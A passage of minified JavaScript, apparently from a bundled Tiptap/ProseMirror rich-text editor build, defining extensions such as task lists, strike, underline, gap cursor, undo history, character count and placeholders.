xX])\]\s+(.*)$/,extractItemData:r=>({indentLevel:r[1].length,mainContent:r[4],checked:r[3].toLowerCase()==="x"}),createToken:(r,o)=>({type:"taskItem",raw:"",mainContent:r.mainContent,indentLevel:r.indentLevel,checked:r.checked,text:r.mainContent,tokens:t.inlineTokens(r.mainContent),nestedTokens:o}),customNestedParser:n},t);if(i)return{type:"taskList",raw:i.raw,items:i.items}}},markdownOptions:{indentsContent:!0},addCommands(){return{toggleTaskList:()=>({commands:s})=>s.toggleList(this.name,this.options.itemTypeName)}},addKeyboardShortcuts(){return{"Mod-Shift-9":()=>this.editor.commands.toggleTaskList()}}});on.create({name:"listKit",addExtensions(){const s=[];return this.options.bulletList!==!1&&s.push(nD.configure(this.options.bulletList)),this.options.listItem!==!1&&s.push(rD.configure(this.options.listItem)),this.options.listKeymap!==!1&&s.push(cD.configure(this.options.listKeymap)),this.options.orderedList!==!1&&s.push(hD.configure(this.options.orderedList)),this.options.taskItem!==!1&&s.push(KQ.configure(this.options.taskItem)),this.options.taskList!==!1&&s.push(QQ.configure(this.options.taskList)),s}});var $_=" ",PC=" ",XQ=Sr.create({name:"paragraph",priority:1e3,addOptions(){return{HTMLAttributes:{}}},group:"block",content:"inline*",parseHTML(){return[{tag:"p"}]},renderHTML({HTMLAttributes:s}){return["p",Fs(this.options.HTMLAttributes,s),0]},parseMarkdown:(s,e)=>{const t=s.tokens||[];if(t.length===1&&t[0].type==="image")return e.parseChildren([t[0]]);const n=e.parseInline(t);return t.length===1&&t[0].type==="text"&&(t[0].raw===$_||t[0].text===$_||t[0].raw===PC||t[0].text===PC)&&n.length===1&&n[0].type==="text"&&(n[0].text===$_||n[0].text===PC)?e.createNode("paragraph",void 0,[]):e.createNode("paragraph",void 0,n)},renderMarkdown:(s,e,t)=>{var n,i;if(!s)return"";const r=Array.isArray(s.content)?s.content:[];if(r.length===0){const o=Array.isArray((n=t==null?void 0:t.previousNode)==null?void 0:n.content)?t.previousNode.content:[];return((i=t==null?void 0:t.previousNode)==null?void 0:i.type)==="paragraph"&&o.length===0?$_:""}return e.renderChildren(r)},addCommands(){return{setParagraph:()=>({commands:s})=>s.setNode(this.name)}},addKeyboardShortcuts(){return{"Mod-Alt-0":()=>this.editor.commands.setParagraph()}}}),YQ=/(?:^|\s)(~~(?!\s+~~)((?:[^~]+))~~(?!\s+~~))$/,JQ=/(?:^|\s)(~~(?!\s+~~)((?:[^~]+))~~(?!\s+~~))/g,ZQ=Df.create({name:"strike",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"s"},{tag:"del"},{tag:"strike"},{style:"text-decoration",consuming:!1,getAttrs:s=>s.includes("line-through")?{}:!1}]},renderHTML({HTMLAttributes:s}){return["s",Fs(this.options.HTMLAttributes,s),0]},markdownTokenName:"del",parseMarkdown:(s,e)=>e.applyMark("strike",e.parseInline(s.tokens||[])),renderMarkdown:(s,e)=>`~~${e.renderChildren(s)}~~`,addCommands(){return{setStrike:()=>({commands:s})=>s.setMark(this.name),toggleStrike:()=>({commands:s})=>s.toggleMark(this.name),unsetStrike:()=>({commands:s})=>s.unsetMark(this.name)}},addKeyboardShortcuts(){return{"Mod-Shift-s":()=>this.editor.commands.toggleStrike()}},addInputRules(){return[nm({find:YQ,type:this.type})]},addPasteRules(){return[xf({find:JQ,type:this.type})]}}),eX=Sr.create({name:"text",group:"inline",parseMarkdown:s=>({type:"text",text:s.text||""}),renderMarkdown:s=>s.text||""}),tX=Df.create({name:"underline",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"u"},{style:"text-decoration",consuming:!1,getAttrs:s=>s.includes("underline")?{}:!1}]},renderHTML({HTMLAttributes:s}){return["u",Fs(this.options.HTMLAttributes,s),0]},parseMarkdown(s,e){return e.applyMark(this.name||"underline",e.parseInline(s.tokens||[]))},renderMarkdown(s,e){return`++${e.renderChildren(s)}++`},markdownTokenizer:{name:"underline",level:"inline",start(s){return s.indexOf("++")},tokenize(s,e,t){const i=/^(\+\+)([\s\S]+?)(\+\+)/.exec(s);if(!i)return;const r=i[2].trim();return{type:"underline",raw:i[0],text:r,tokens:t.inlineTokens(r)}}},addCommands(){return{setUnderline:()=>({commands:s})=>s.setMark(this.name),toggleUnderline:()=>({commands:s})=>s.toggleMark(this.name),unsetUnderline:()=>({commands:s})=>s.unsetMark(this.name)}},addKeyboardShortcuts(){return{"Mod-u":()=>this.editor.commands.toggleUnderline(),"Mod-U":()=>this.editor.commands.toggleUnderline()}}});function sX(s={}){return new $s({view(e){return new nX(e,s)}})}class nX{constructor(e,t){var n;this.editorView=e,this.cursorPos=null,this.element=null,this.timeout=-1,this.width=(n=t.width)!==null&&n!==void 0?n:1,this.color=t.color===!1?void 0:t.color||"black",this.class=t.class,this.handlers=["dragover","dragend","drop","dragleave"].map(i=>{let r=o=>{this[i](o)};return e.dom.addEventListener(i,r),{name:i,handler:r}})}destroy(){this.handlers.forEach(({name:e,handler:t})=>this.editorView.dom.removeEventListener(e,t))}update(e,t){this.cursorPos!=null&&t.doc!=e.state.doc&&(this.cursorPos>e.state.doc.content.size?this.setCursor(null):this.updateOverlay())}setCursor(e){e!=this.cursorPos&&(this.cursorPos=e,e==null?(this.element.parentNode.removeChild(this.element),this.element=null):this.updateOverlay())}updateOverlay(){let e=this.editorView.state.doc.resolve(this.cursorPos),t=!e.parent.inlineContent,n,i=this.editorView.dom,r=i.getBoundingClientRect(),o=r.width/i.offsetWidth,a=r.height/i.offsetHeight;if(t){let h=e.nodeBefore,d=e.nodeAfter;if(h||d){let p=this.editorView.nodeDOM(this.cursorPos-(h?h.nodeSize:0));if(p){let m=p.getBoundingClientRect(),v=h?m.bottom:m.top;h&&d&&(v=(v+this.editorView.nodeDOM(this.cursorPos).getBoundingClientRect().top)/2);let g=this.width/2*a;n={left:m.left,right:m.right,top:v-g,bottom:v+g}}}}if(!n){let h=this.editorView.coordsAtPos(this.cursorPos),d=this.width/2*o;n={left:h.left-d,right:h.left+d,top:h.top,bottom:h.bottom}}let c=this.editorView.dom.offsetParent;this.element||(this.element=c.appendChild(document.createElement("div")),this.class&&(this.element.className=this.class),this.element.style.cssText="position: absolute; z-index: 50; pointer-events: none;",this.color&&(this.element.style.backgroundColor=this.color)),this.element.classList.toggle("prosemirror-dropcursor-block",t),this.element.classList.toggle("prosemirror-dropcursor-inline",!t);let l,u;if(!c||c==document.body&&getComputedStyle(c).position=="static")l=-pageXOffset,u=-pageYOffset;else{let h=c.getBoundingClientRect(),d=h.width/c.offsetWidth,p=h.height/c.offsetHeight;l=h.left-c.scrollLeft*d,u=h.top-c.scrollTop*p}this.element.style.left=(n.left-l)/o+"px",this.element.style.top=(n.top-u)/a+"px",this.element.style.width=(n.right-n.left)/o+"px",this.element.style.height=(n.bottom-n.top)/a+"px"}scheduleRemoval(e){clearTimeout(this.timeout),this.timeout=setTimeout(()=>this.setCursor(null),e)}dragover(e){if(!this.editorView.editable)return;let t=this.editorView.posAtCoords({left:e.clientX,top:e.clientY}),n=t&&t.inside>=0&&this.editorView.state.doc.nodeAt(t.inside),i=n&&n.type.spec.disableDropCursor,r=typeof i=="function"?i(this.editorView,t,e):i;if(t&&!r){let o=t.pos;if(this.editorView.dragging&&this.editorView.dragging.slice){let a=WL(this.editorView.state.doc,o,this.editorView.dragging.slice);a!=null&&(o=a)}this.setCursor(o),this.scheduleRemoval(5e3)}}dragend(){this.scheduleRemoval(20)}drop(){this.scheduleRemoval(20)}dragleave(e){this.editorView.dom.contains(e.relatedTarget)||this.setCursor(null)}}class rn extends Ft{constructor(e){super(e,e)}map(e,t){let n=e.resolve(t.map(this.head));return rn.valid(n)?new rn(n):Ft.near(n)}content(){return nt.empty}eq(e){return e instanceof rn&&e.head==this.head}toJSON(){return{type:"gapcursor",pos:this.head}}static fromJSON(e,t){if(typeof t.pos!="number")throw new RangeError("Invalid input for GapCursor.fromJSON");return new rn(e.resolve(t.pos))}getBookmark(){return new nM(this.anchor)}static valid(e){let t=e.parent;if(t.inlineContent||!iX(e)||!rX(e))return!1;let n=t.type.spec.allowGapCursor;if(n!=null)return n;let i=t.contentMatchAt(e.index()).defaultType;return i&&i.isTextblock}static findGapCursorFrom(e,t,n=!1){e:for(;;){if(!n&&rn.valid(e))return e;let i=e.pos,r=null;for(let o=e.depth;;o--){let a=e.node(o);if(t>0?e.indexAfter(o)0){r=a.child(t>0?e.indexAfter(o):e.index(o)-1);break}else if(o==0)return null;i+=t;let c=e.doc.resolve(i);if(rn.valid(c))return c}for(;;){let o=t>0?r.firstChild:r.lastChild;if(!o){if(r.isAtom&&!r.isText&&!vt.isSelectable(r)){e=e.doc.resolve(i+r.nodeSize*t),n=!1;continue e}break}r=o,i+=t;let a=e.doc.resolve(i);if(rn.valid(a))return a}return null}}}rn.prototype.visible=!1;rn.findFrom=rn.findGapCursorFrom;Ft.jsonID("gapcursor",rn);class nM{constructor(e){this.pos=e}map(e){return new nM(e.map(this.pos))}resolve(e){let t=e.resolve(this.pos);return rn.valid(t)?new rn(t):Ft.near(t)}}function dD(s){return s.isAtom||s.spec.isolating||s.spec.createGapCursor}function iX(s){for(let e=s.depth;e>=0;e--){let t=s.index(e),n=s.node(e);if(t==0){if(n.type.spec.isolating)return!0;continue}for(let i=n.child(t-1);;i=i.lastChild){if(i.childCount==0&&!i.inlineContent||dD(i.type))return!0;if(i.inlineContent)return!1}}return!0}function rX(s){for(let e=s.depth;e>=0;e--){let t=s.indexAfter(e),n=s.node(e);if(t==n.childCount){if(n.type.spec.isolating)return!0;continue}for(let i=n.child(t);;i=i.firstChild){if(i.childCount==0&&!i.inlineContent||dD(i.type))return!0;if(i.inlineContent)return!1}}return!0}function oX(){return new $s({props:{decorations:uX,createSelectionBetween(s,e,t){return e.pos==t.pos&&rn.valid(t)?new rn(t):null},handleClick:lX,handleKeyDown:aX,handleDOMEvents:{beforeinput:cX}}})}const aX=QP({ArrowLeft:H_("horiz",-1),ArrowRight:H_("horiz",1),ArrowUp:H_("vert",-1),ArrowDown:H_("vert",1)});function H_(s,e){const t=s=="vert"?e>0?"down":"up":e>0?"right":"left";return function(n,i,r){let o=n.selection,a=e>0?o.$to:o.$from,c=o.empty;if(o instanceof _t){if(!r.endOfTextblock(t)||a.depth==0)return!1;c=!1,a=n.doc.resolve(e>0?a.after():a.before())}let l=rn.findGapCursorFrom(a,e,c);return l?(i&&i(n.tr.setSelection(new rn(l))),!0):!1}}function lX(s,e,t){if(!s||!s.editable)return!1;let n=s.state.doc.resolve(e);if(!rn.valid(n))return!1;let i=s.posAtCoords({left:t.clientX,top:t.clientY});return i&&i.inside>-1&&vt.isSelectable(s.state.doc.nodeAt(i.inside))?!1:(s.dispatch(s.state.tr.setSelection(new rn(n))),!0)}function cX(s,e){if(e.inputType!="insertCompositionText"||!(s.state.selection instanceof rn))return!1;let{$from:t}=s.state.selection,n=t.parent.contentMatchAt(t.index()).findWrapping(s.state.schema.nodes.text);if(!n)return!1;let i=Fe.empty;for(let o=n.length-1;o>=0;o--)i=Fe.from(n[o].createAndFill(null,i));let r=s.state.tr.replace(t.pos,t.pos,new nt(i,0,0));return r.setSelection(_t.near(r.doc.resolve(t.pos+1))),s.dispatch(r),!1}function uX(s){if(!(s.selection instanceof rn))return null;let e=document.createElement("div");return e.className="ProseMirror-gapcursor",Bs.create(s.doc,[Mi.widget(s.selection.head,e,{key:"gapcursor"})])}var o0=200,Xn=function(){};Xn.prototype.append=function(e){return e.length?(e=Xn.from(e),!this.length&&e||e.length=t?Xn.empty:this.sliceInner(Math.max(0,e),Math.min(this.length,t))};Xn.prototype.get=function(e){if(!(e<0||e>=this.length))return this.getInner(e)};Xn.prototype.forEach=function(e,t,n){t===void 0&&(t=0),n===void 0&&(n=this.length),t<=n?this.forEachInner(e,t,n,0):this.forEachInvertedInner(e,t,n,0)};Xn.prototype.map=function(e,t,n){t===void 0&&(t=0),n===void 0&&(n=this.length);var i=[];return this.forEach(function(r,o){return i.push(e(r,o))},t,n),i};Xn.from=function(e){return e instanceof Xn?e:e&&e.length?new fD(e):Xn.empty};var fD=function(s){function e(n){s.call(this),this.values=n}s&&(e.__proto__=s),e.prototype=Object.create(s&&s.prototype),e.prototype.constructor=e;var t={length:{configurable:!0},depth:{configurable:!0}};return e.prototype.flatten=function(){return this.values},e.prototype.sliceInner=function(i,r){return i==0&&r==this.length?this:new e(this.values.slice(i,r))},e.prototype.getInner=function(i){return this.values[i]},e.prototype.forEachInner=function(i,r,o,a){for(var c=r;c=o;c--)if(i(this.values[c],a+c)===!1)return!1},e.prototype.leafAppend=function(i){if(this.length+i.length<=o0)return new e(this.values.concat(i.flatten()))},e.prototype.leafPrepend=function(i){if(this.length+i.length<=o0)return new e(i.flatten().concat(this.values))},t.length.get=function(){return this.values.length},t.depth.get=function(){return 0},Object.defineProperties(e.prototype,t),e}(Xn);Xn.empty=new fD([]);var hX=function(s){function e(t,n){s.call(this),this.left=t,this.right=n,this.length=t.length+n.length,this.depth=Math.max(t.depth,n.depth)+1}return s&&(e.__proto__=s),e.prototype=Object.create(s&&s.prototype),e.prototype.constructor=e,e.prototype.flatten=function(){return this.left.flatten().concat(this.right.flatten())},e.prototype.getInner=function(n){return na&&this.right.forEachInner(n,Math.max(i-a,0),Math.min(this.length,r)-a,o+a)===!1)return!1},e.prototype.forEachInvertedInner=function(n,i,r,o){var a=this.left.length;if(i>a&&this.right.forEachInvertedInner(n,i-a,Math.max(r,a)-a,o+a)===!1||r=r?this.right.slice(n-r,i-r):this.left.slice(n,r).append(this.right.slice(0,i-r))},e.prototype.leafAppend=function(n){var i=this.right.leafAppend(n);if(i)return new e(this.left,i)},e.prototype.leafPrepend=function(n){var i=this.left.leafPrepend(n);if(i)return new e(i,this.right)},e.prototype.appendInner=function(n){return this.left.depth>=Math.max(this.right.depth,n.depth)+1?new e(this.left,new e(this.right,n)):new e(this,n)},e}(Xn);const dX=500;class fa{constructor(e,t){this.items=e,this.eventCount=t}popEvent(e,t){if(this.eventCount==0)return null;let n=this.items.length;for(;;n--)if(this.items.get(n-1).selection){--n;break}let i,r;t&&(i=this.remapping(n,this.items.length),r=i.maps.length);let o=e.tr,a,c,l=[],u=[];return this.items.forEach((h,d)=>{if(!h.step){i||(i=this.remapping(n,d+1),r=i.maps.length),r--,u.push(h);return}if(i){u.push(new xa(h.map));let p=h.step.map(i.slice(r)),m;p&&o.maybeStep(p).doc&&(m=o.mapping.maps[o.mapping.maps.length-1],l.push(new xa(m,void 0,void 0,l.length+u.length))),r--,m&&i.appendMap(m,r)}else o.maybeStep(h.step);if(h.selection)return a=i?h.selection.map(i.slice(r)):h.selection,c=new fa(this.items.slice(0,n).append(u.reverse().concat(l)),this.eventCount-1),!1},this.items.length,0),{remaining:c,transform:o,selection:a}}addTransform(e,t,n,i){let r=[],o=this.eventCount,a=this.items,c=!i&&a.length?a.get(a.length-1):null;for(let u=0;upX&&(a=fX(a,l),o-=l),new fa(a.append(r),o)}remapping(e,t){let n=new Qv;return this.items.forEach((i,r)=>{let o=i.mirrorOffset!=null&&r-i.mirrorOffset>=e?n.maps.length-i.mirrorOffset:void 0;n.appendMap(i.map,o)},e,t),n}addMaps(e){return this.eventCount==0?this:new fa(this.items.append(e.map(t=>new xa(t))),this.eventCount)}rebased(e,t){if(!this.eventCount)return this;let n=[],i=Math.max(0,this.items.length-t),r=e.mapping,o=e.steps.length,a=this.eventCount;this.items.forEach(d=>{d.selection&&a--},i);let c=t;this.items.forEach(d=>{let p=r.getMirror(--c);if(p==null)return;o=Math.min(o,p);let m=r.maps[p];if(d.step){let v=e.steps[p].invert(e.docs[p]),g=d.selection&&d.selection.map(r.slice(c+1,p));g&&a++,n.push(new xa(m,v,g))}else n.push(new xa(m))},i);let l=[];for(let d=t;ddX&&(h=h.compress(this.items.length-n.length)),h}emptyItemCount(){let e=0;return this.items.forEach(t=>{t.step||e++}),e}compress(e=this.items.length){let t=this.remapping(0,e),n=t.maps.length,i=[],r=0;return this.items.forEach((o,a)=>{if(a>=e)i.push(o),o.selection&&r++;else if(o.step){let c=o.step.map(t.slice(n)),l=c&&c.getMap();if(n--,l&&t.appendMap(l,n),c){let u=o.selection&&o.selection.map(t.slice(n));u&&r++;let h=new xa(l.invert(),c,u),d,p=i.length-1;(d=i.length&&i[p].merge(h))?i[p]=d:i.push(h)}}else o.map&&n--},this.items.length,0),new fa(Xn.from(i.reverse()),r)}}fa.empty=new fa(Xn.empty,0);function fX(s,e){let t;return s.forEach((n,i)=>{if(n.selection&&e--==0)return t=i,!1}),s.slice(t)}class xa{constructor(e,t,n,i){this.map=e,this.step=t,this.selection=n,this.mirrorOffset=i}merge(e){if(this.step&&e.step&&!e.selection){let t=e.step.merge(this.step);if(t)return new xa(t.getMap().invert(),t,this.selection)}}}class Yc{constructor(e,t,n,i,r){this.done=e,this.undone=t,this.prevRanges=n,this.prevTime=i,this.prevComposition=r}}const pX=20;function gX(s,e,t,n){let i=t.getMeta(Cf),r;if(i)return i.historyState;t.getMeta(yX)&&(s=new Yc(s.done,s.undone,null,0,-1));let o=t.getMeta("appendedTransaction");if(t.steps.length==0)return s;if(o&&o.getMeta(Cf))return o.getMeta(Cf).redo?new Yc(s.done.addTransform(t,void 0,n,SS(e)),s.undone,RI(t.mapping.maps),s.prevTime,s.prevComposition):new Yc(s.done,s.undone.addTransform(t,void 0,n,SS(e)),null,s.prevTime,s.prevComposition);if(t.getMeta("addToHistory")!==!1&&!(o&&o.getMeta("addToHistory")===!1)){let a=t.getMeta("composition"),c=s.prevTime==0||!o&&s.prevComposition!=a&&(s.prevTime<(t.time||0)-n.newGroupDelay||!mX(t,s.prevRanges)),l=o?OC(s.prevRanges,t.mapping):RI(t.mapping.maps);return new Yc(s.done.addTransform(t,c?e.selection.getBookmark():void 0,n,SS(e)),fa.empty,l,t.time,a??s.prevComposition)}else return(r=t.getMeta("rebased"))?new Yc(s.done.rebased(t,r),s.undone.rebased(t,r),OC(s.prevRanges,t.mapping),s.prevTime,s.prevComposition):new Yc(s.done.addMaps(t.mapping.maps),s.undone.addMaps(t.mapping.maps),OC(s.prevRanges,t.mapping),s.prevTime,s.prevComposition)}function mX(s,e){if(!e)return!1;if(!s.docChanged)return!0;let t=!1;return s.mapping.maps[0].forEach((n,i)=>{for(let r=0;r=e[r]&&(t=!0)}),t}function RI(s){let e=[];for(let t=s.length-1;t>=0&&e.length==0;t--)s[t].forEach((n,i,r,o)=>e.push(r,o));return e}function OC(s,e){if(!s)return null;let t=[];for(let n=0;n{let i=Cf.getState(t);if(!i||(s?i.undone:i.done).eventCount==0)return!1;if(n){let r=vX(i,t,s);r&&n(e?r.scrollIntoView():r)}return!0}}const gD=pD(!1,!0),mD=pD(!0,!0);on.create({name:"characterCount",addOptions(){return{limit:null,autoTrim:!0,mode:"textSize",textCounter:s=>s.length,wordCounter:s=>s.split(" ").filter(e=>e!=="").length}},addStorage(){return{characters:()=>0,words:()=>0}},onBeforeCreate(){this.storage.characters=s=>{const e=(s==null?void 0:s.node)||this.editor.state.doc;if(((s==null?void 0:s.mode)||this.options.mode)==="textSize"){const n=e.textBetween(0,e.content.size,void 0," ");return this.options.textCounter(n)}return e.nodeSize},this.storage.words=s=>{const e=(s==null?void 0:s.node)||this.editor.state.doc,t=e.textBetween(0,e.content.size," "," ");return this.options.wordCounter(t)}},addProseMirrorPlugins(){let s=!1;return[new $s({key:new fn("characterCount"),appendTransaction:(e,t,n)=>{if(s)return;const i=this.options.limit,r=this.options.autoTrim;if(i==null||i===0||r===!1){s=!0;return}const o=this.storage.characters({node:n.doc});if(o>i){const a=o-i,c=0,l=a;console.warn(`[CharacterCount] Initial content exceeded limit of ${i} characters. Content was automatically trimmed.`);const u=n.tr.deleteRange(c,l);return s=!0,u}s=!0},filterTransaction:(e,t)=>{const n=this.options.limit;if(!e.docChanged||n===0||n===null||n===void 0)return!0;const i=this.storage.characters({node:t.doc}),r=this.storage.characters({node:e.doc});if(r<=n||i>n&&r>n&&r<=i)return!0;if(i>n&&r>n&&r>i||!e.getMeta("paste"))return!1;const a=e.selection.$head.pos,c=r-n,l=a-c,u=a;return e.deleteRange(l,u),!(this.storage.characters({node:e.doc})>n)}})]}});var _X=on.create({name:"dropCursor",addOptions(){return{color:"currentColor",width:1,class:void 0}},addProseMirrorPlugins(){return[sX(this.options)]}});on.create({name:"focus",addOptions(){return{className:"has-focus",mode:"all"}},addProseMirrorPlugins(){return[new $s({key:new fn("focus"),props:{decorations:({doc:s,selection:e})=>{const{isEditable:t,isFocused:n}=this.editor,{anchor:i}=e,r=[];if(!t||!n)return Bs.create(s,[]);let o=0;this.options.mode==="deepest"&&s.descendants((c,l)=>{if(c.isText)return;if(!(i>=l&&i<=l+c.nodeSize-1))return!1;o+=1});let a=0;return s.descendants((c,l)=>{if(c.isText||!(i>=l&&i<=l+c.nodeSize-1))return!1;if(a+=1,this.options.mode==="deepest"&&o-a>0||this.options.mode==="shallowest"&&a>1)return this.options.mode==="deepest";r.push(Mi.node(l,l+c.nodeSize,{class:this.options.className}))}),Bs.create(s,r)}}})]}});var SX=on.create({name:"gapCursor",addProseMirrorPlugins(){return[oX()]},extendNodeSchema(s){var e;const t={name:s.name,options:s.options,storage:s.storage};return{allowGapCursor:(e=ns(ot(s,"allowGapCursor",t)))!=null?e:null}}}),vD="placeholder",ry=new fn("tiptap__placeholder"),PI=200;function OI(s){const{editor:e,placeholder:t,dataAttribute:n,pos:i,node:r,isEmptyDoc:o,hasAnchor:a,classes:{emptyNode:c,emptyEditor:l}}=s,u=[c];return o&&u.push(l),Mi.node(i,i+r.nodeSize,{class:u.join(" "),[n]:typeof t=="function"?t({editor:e,node:r,pos:i,hasAnchor:a}):t})}function DI(s,e){return typeof s=="function"?s(e):s}function wX({editor:s,options:e,dataAttribute:t,doc:n,selection:i}){var r,o;if(!(s.isEditable||!e.showOnlyWhenEditable))return null;const{anchor:c}=i,l=[],u=s.isEmpty;if(e.showOnlyCurrent&&!e.includeChildren){const d=n.resolve(c),p=d.depth>0?d.node(1):d.nodeAfter,m=d.depth>0?d.before(1):c;if(p&&p.type.isTextblock&&ty(p)){const v=c>=m&&c<=m+p.nodeSize;l.push(OI({editor:s,isEmptyDoc:u,dataAttribute:t,hasAnchor:v,placeholder:e.placeholder,classes:{emptyEditor:e.emptyEditorClass,emptyNode:DI(e.emptyNodeClass,{editor:s,node:p,pos:m,hasAnchor:v})},node:p,pos:m}))}}else{const d=ry.getState(s.state),p=(r=d==null?void 0:d.topPos)!=null?r:0,m=(o=d==null?void 0:d.bottomPos)!=null?o:n.content.size;n.nodesBetween(p,m,(v,g)=>{const y=c>=g&&c<=g+v.nodeSize,b=!v.isLeaf&&ty(v);return v.type.isTextblock&&(y||!e.showOnlyCurrent)&&b&&l.push(OI({editor:s,isEmptyDoc:u,dataAttribute:t,hasAnchor:y,placeholder:e.placeholder,classes:{emptyEditor:e.emptyEditorClass,emptyNode:DI(e.emptyNodeClass,{editor:s,node:v,pos:g,hasAnchor:y})},node:v,pos:g})),e.includeChildren})}return Bs.create(n,l)}function kX(s){return s.replace(/\s+/g,"-").replace(/[^a-zA-Z0-9-]/g,"").replace(/^[0-9-]+/,"").replace(/^-+/,"").toLowerCase()}function CX(s){const e=getComputedStyle(s),t=`${e.overflow} ${e.overflowY} ${e.overflowX}`;return/auto|scroll|overlay/.test(t)}function TX(s){let e=s;for(;e;){if(CX(e))return e;const t=e.parentElement;if(!t){const n=e.getRootNode();if(n instanceof ShadowRoot){e=n.host;continue}return window}e=t}return window}function AX(s){return s===window?{top:0,bottom:window.innerHeight}:s.getBoundingClientRect()}function EX({doc:s,view:e,scrollContainer:t}){const n=e.dom.getBoundingClientRect(),i=t?AX(t):{top:0,bottom:window.innerHeight},r=Math.max(n.top,i.top)-PI,o=Math.min(n.bottom,i.bottom)+PI;if(r>=o)return{top:0,bottom:s.content.size};const c=getComputedStyle(e.dom).direction==="rtl"?Math.max(n.right-2,n.left+2):n.left+2,l=e.posAtCoords({left:c,top:r+2}),u=e.posAtCoords({left:c,top:o-2});return{top:l?l.pos:0,bottom:u?u.pos:s.content.size}}var MX={init(){return{topPos:null,bottomPos:null}},apply(s,e){const t=s.getMeta(ry);return t!=null&&t.positions?{topPos:t.positions.top,bottomPos:t.positions.bottom}:s.docChanged?{topPos:e.topPos!==null?s.mapping.map(e.topPos):null,bottomPos:e.bottomPos!==null?s.mapping.map(e.bottomPos):null}:e}};function xX(s){const e=TX(s.dom),t=()=>{const a=EX({view:s,doc:s.state.doc,scrollContainer:e}),c=ry.getState(s.state);if((c==null?void 0:c.topPos)===a.top&&(c==null?void 0:c.bottomPos)===a.bottom)return;const l=s.state.tr.setMeta(ry,{positions:a});s.dispatch(l)};let n=null,i=0;const r=150,o=()=>{n===null&&(n=requestAnimationFrame(()=>{n=null;const a=performance.now();a-i>=r?(i=a,t()):o()}))};return e.addEventListener("scroll",o,{passive:!0}),t(),{update(a,c){s.state.doc.content.size!==c.doc.content.size&&o()},destroy:()=>{n!==null&&cancelAnimationFrame(n),e.removeEventListener("scroll",o)}}}function IX({editor:s,options:e}){const t=e.dataAttribute?`data-${kX(e.dataAttribute)}`:`data-${vD}`;return new $s({key:ry,state:MX,view:xX,props:{decorations:({doc:n,selection:i})=>wX({editor:s,options:e,dataAttribute:t,doc:n,selection:i})}})}var RX=on.create({name:"placeholder",addOptions(){return{emptyEditorClass:"is-editor-empty",emptyNodeClass:"is-empty",dataAttribute:vD,placeholder:"Write something …",showOnlyWhenEditable:!0,showOnlyCurrent:!0,includeChildren:!1}},addProseMirrorPlugins(){return[IX({editor:this.editor,options:this.options})]}}),LX=`.ProseMirror:not(.ProseMirror-focused) *::selection { + background: transparent; +} + +.ProseMirror:not(.ProseMirror-focused) *::-moz-selection { + background: transparent; +}`;on.create({name:"selection",addOptions(){return{className:"selection"}},addProseMirrorPlugins(){const{editor:s,options:e}=this;return s.options.injectCSS&&typeof document<"u"&&MO(LX,s.options.injectNonce,"selection"),[new $s({key:new fn("selection"),props:{decorations(t){return t.selection.empty||s.isFocused||!s.isEditable||hO(t.selection)||s.view.dragging?null:Bs.create(t.doc,[Mi.inline(t.selection.from,t.selection.to,{class:e.className})])}}})]}});var PX="skipTrailingNode";function NI({types:s,node:e}){return e&&Array.isArray(s)&&s.includes(e.type)||(e==null?void 0:e.type)===s}var OX=on.create({name:"trailingNode",addOptions(){return{node:void 0,notAfter:[]}},addProseMirrorPlugins(){var s;const e=new fn(this.name),t=this.options.node||((s=this.editor.schema.topNodeType.contentMatch.defaultType)==null?void 0:s.name)||"paragraph",n=Object.entries(this.editor.schema.nodes).map(([,i])=>i).filter(i=>(this.options.notAfter||[]).concat(t).includes(i.name));return[new $s({key:e,appendTransaction:(i,r,o)=>{const{doc:a,tr:c,schema:l}=o,u=e.getState(o),h=a.content.size,d=l.nodes[t];if(!i.some(p=>p.getMeta(PX))&&u)return c.insert(h,d.create())},state:{init:(i,r)=>{const o=r.tr.doc.lastChild;return!NI({node:o,types:n})},apply:(i,r)=>{if(!i.docChanged||i.getMeta("__uniqueIDTransaction"))return r;const o=i.doc.lastChild;return!NI({node:o,types:n})}}})]}}),DX=on.create({name:"undoRedo",addOptions(){return{depth:100,newGroupDelay:500}},addCommands(){return{undo:()=>({state:s,dispatch:e})=>gD(s,e),redo:()=>({state:s,dispatch:e})=>mD(s,e)}},addProseMirrorPlugins(){return[bX(this.options)]},addKeyboardShortcuts(){return{"Mod-z":()=>this.editor.commands.undo(),"Shift-Mod-z":()=>this.editor.commands.redo(),"Mod-y":()=>this.editor.commands.redo(),"Mod-я":()=>this.editor.commands.undo(),"Shift-Mod-я":()=>this.editor.commands.redo()}}}),NX=on.create({name:"starterKit",addExtensions(){var s,e,t,n;const i=[];return this.options.bold!==!1&&i.push(UK.configure(this.options.bold)),this.options.blockquote!==!1&&i.push(NK.configure(this.options.blockquote)),this.options.bulletList!==!1&&i.push(nD.configure(this.options.bulletList)),this.options.code!==!1&&i.push(jK.configure(this.options.code)),this.options.codeBlock!==!1&&i.push(qK.configure(this.options.codeBlock)),this.options.document!==!1&&i.push(KK.configure(this.options.document)),this.options.dropcursor!==!1&&i.push(_X.configure(this.options.dropcursor)),this.options.gapcursor!==!1&&i.push(SX.configure(this.options.gapcursor)),this.options.hardBreak!==!1&&i.push(QK.configure(this.options.hardBreak)),this.options.heading!==!1&&i.push(XK.configure(this.options.heading)),this.options.undoRedo!==!1&&i.push(DX.configure(this.options.undoRedo)),this.options.horizontalRule!==!1&&i.push(YK.configure(this.options.horizontalRule)),this.options.italic!==!1&&i.push(sQ.configure(this.options.italic)),this.options.listItem!==!1&&i.push(rD.configure(this.options.listItem)),this.options.listKeymap!==!1&&i.push(cD.configure((s=this.options)==null?void 0:s.listKeymap)),this.options.link!==!1&&i.push(MQ.configure((e=this.options)==null?void 0:e.link)),this.options.orderedList!==!1&&i.push(hD.configure(this.options.orderedList)),this.options.paragraph!==!1&&i.push(XQ.configure(this.options.paragraph)),this.options.strike!==!1&&i.push(ZQ.configure(this.options.strike)),this.options.text!==!1&&i.push(eX.configure(this.options.text)),this.options.underline!==!1&&i.push(tX.configure((t=this.options)==null?void 0:t.underline)),this.options.trailingNode!==!1&&i.push(OX.configure((n=this.options)==null?void 0:n.trailingNode)),i}}),BX=NX;function FX(s){var e;const{char:t,allowSpaces:n,allowToIncludeChar:i,allowedPrefixes:r,startOfLine:o,$position:a}=s,c=n&&!i,l=mK(t),u=new RegExp(`\\s${l}$`),h=o?"^":"",d=i?"":l,p=c?new RegExp(`${h}${l}.*?(?=\\s${d}|$)`,"gm"):new RegExp(`${h}(?:^)?${l}[^\\s${d}]*`,"gm"),m=((e=a.nodeBefore)==null?void 